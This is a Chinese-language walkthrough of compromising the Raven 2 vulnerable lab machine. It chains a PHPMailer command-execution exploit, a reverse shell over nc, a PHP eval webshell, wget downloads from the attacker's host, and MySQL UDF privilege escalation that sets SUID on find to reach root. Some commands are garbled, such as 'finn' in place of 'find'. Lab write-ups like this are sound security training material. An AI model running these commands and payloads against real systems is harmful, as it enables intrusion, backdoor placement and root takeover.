Raven 2 靶機滲透

前言

近幾天比較閒,在上週也閒着無聊跑去盒子挖了一週的洞。這周又開始不知道幹些啥了,因此就找個靶機來玩玩。php

Raven 2 靶機滲透

搭建完環境後,發現並無登陸帳號和密碼,使用御劍高速掃描,先掃描機器的ip和端口,看看有沒有啥能利用到的。
html

發現了192.168.27.136 ip 而且80端口和22端口是開啓的,首先先從80端口,嘗試 來嘗試掃描目錄。
python

掃描目錄時,發現了/vendor/目錄而且有個wordpress 這時候就能夠來嘗試一下wp的漏洞了,直接上wpscan 來掃描,沒有就放棄。mysql

鏈接超時!!! 果斷放棄!!!linux

可是做爲一個年輕小夥子怎麼能說放棄,要堅持!!![手動狗頭][手動狗頭]web

翻找一下剛剛的目錄看看還能不能找到啥東西,當我點開/vendor/目錄的時候,發現存在一個目錄遍歷漏洞。
sql

點開readme.md 發現是個PHPMailershell

因爲之前也沒見過,上百度查了一下才知道是個發送電子郵件的函數包。數據庫

去百度查找了一下 竟然有命令執行漏洞。bash

爲了方便,直接就在kali裏面的漏洞庫去查找exp

searchsploit phpmailer

這裏有好幾個exp,可是也不能一個一個去試,利用條件不同,還得去查找的他版本。
在我開啓vendor/version文件的時候,直接就顯示了版本

肯定版本後就能夠直接下載exp了,

searchsploit -m 40974.py

首先查看一下代碼。

這裏的garget 和socket的connect的ip須要修改還有須要修改的是email字典後面的路徑,這個是寫入地址的絕對路徑。

那麼咱們還須要查找他的絕對路徑。

http://192.168.27.136/vendor/PATH

文件裏面查找到了路徑,並且拿下了一個flag。

這裏並不打算去拿flag,而是直接拿權限[手動滑稽][手動滑稽]。

如今就能夠開始來改咱們的exp了

這裏把target改爲了

http://192.168.27.136/contact.php
這個漏洞是基於contact.php的頁面產生的漏洞,因此地址得帶上這個頁面。

在運行exp的時候,py爆了個錯誤,說個人編碼有錯誤,我立馬在頭部加了一個utf-8的默認編碼方式,可是依然不行,確定是這個工具啓動提示的時候,輸出了特殊字符因此纔會這樣,把它刪掉就行了[手動滑稽][手動滑稽]。

這裏直接就執行成功,咱們去訪問contact.php就會生成一個backdoor.php,訪問後能夠直接反彈shell了
kali啓動一個nc監聽

nc -lvp 4444

訪問backdoor.php 反彈成功

nc 模式的shell不支持su交互,使用py進入到僞終端

python -c "import pty;pty.spawn('/bin/bash')"

輸入whoami發現,是個www的權限,權限比較低,還須要進行提權的操做,先來查看一下開放的端口

netstat -ano

發現他的3306端口是開放的,mysql 5.6如下的默認安裝爲system權限或者是root權限。這裏嘗試使用udf提權,先來翻找他的mysql密碼,
通常網站須要對數據庫進行查詢操做的話都是須要鏈接數據庫的,基本上都會去包含數據庫的鏈接文件,而數據庫鏈接文件通常命名爲config.inc.php,config.php。
這裏就來找一下,進入wordpress目錄看到wp-config.php來查看一下。

翻找到了root帳號的密碼爲:

R@v3nSecurity

而後就能夠嘗試去udf提權,可是我這嫌nc比較麻煩,因此仍是寫入一個一句話木馬。

echo "<?php eval(@$_POST['a']); ?>" > 1.php

寫入的時候發現post被過濾掉了,後來嘗試get和requsts也是同樣。

那麼就直接換個思路,直接讓他去請求遠程的文件進行下載

放在服務器上面的時候,不能一腳本格式進行上傳,否則腳本會直接運行,將他命名爲cmd.txt文件,而後搭建臨時web服務

php -S 0.0.0.0:88 -t /root

使用php啓動web服務 設置根目錄爲root

wget http://192.168.3.68:88/cmd.txt

請求文件

mv cmd.txt cmd.php
把文件更名爲php後綴,而後使用蟻劍進行鏈接。

鏈接成功後,使用管理數據功能,進行mysql鏈接,查詢mysql版本信息。

這裏還有幾個注意事項,在mysql 4.1版本前任何的dll文件的函數都能導入到mysql裏面去讓mysql調用,
mysql 4.1-5.0 版本中,對註冊的dll位置作了限制,建立函數時候對應的dll不能包含斜槓或者反斜槓,
不能是絕對路徑,因此會將dll導出到systm32目錄下,去繞過這個限制。
在mysql5.1版本後,建立函數的dll只能放在mysql的plugin目錄下,也就是插件目錄

使用mysql語句來查看plugin目錄位置

show variables like '%plugin%';

如今咱們還得下載一個linux版本的udf

searchsploit udf

searchsploit -m 1518.c

從漏洞庫把udf下載下來後,是個c文件還得使用gcc進行編譯後才能使用

gcc -g -c 1518.c

gcc -g -shared -o udf.so 1518.o -lc

編譯完成後,使用wget遠程下載

wget http://192.168.3.68:88/udf.so

數據庫建立表:

create table nice(line blob);

表中插入udf.so的數據

insert into nice values(load_file('/var/www/html/udf.so'));

插入完成後,再使用sql語句從nice表中導出數據到plugin目錄下

select * from nice into dumpfile '/usr/lib/mysql/plugin/udf.so';

導出完成後,這裏就能夠直接建立一個函數,來進行執行命令了

create function do_system returns integer soname 'udf.so';

建立完成後能夠查詢是否建立成功

select * from mysql.func;

select do_system('chmod u+s /usr/bin/find');

touch finn

finn -exec "/bin/sh" ;

whoami


提權成功。

cat flag4.txt

[手動狗頭][手動狗頭]flag真香

結尾

最近這感冒了,很難受,幹啥都沒精力,我想我仍是須要妹子來溫暖個人心

相關文章
相關標籤/搜索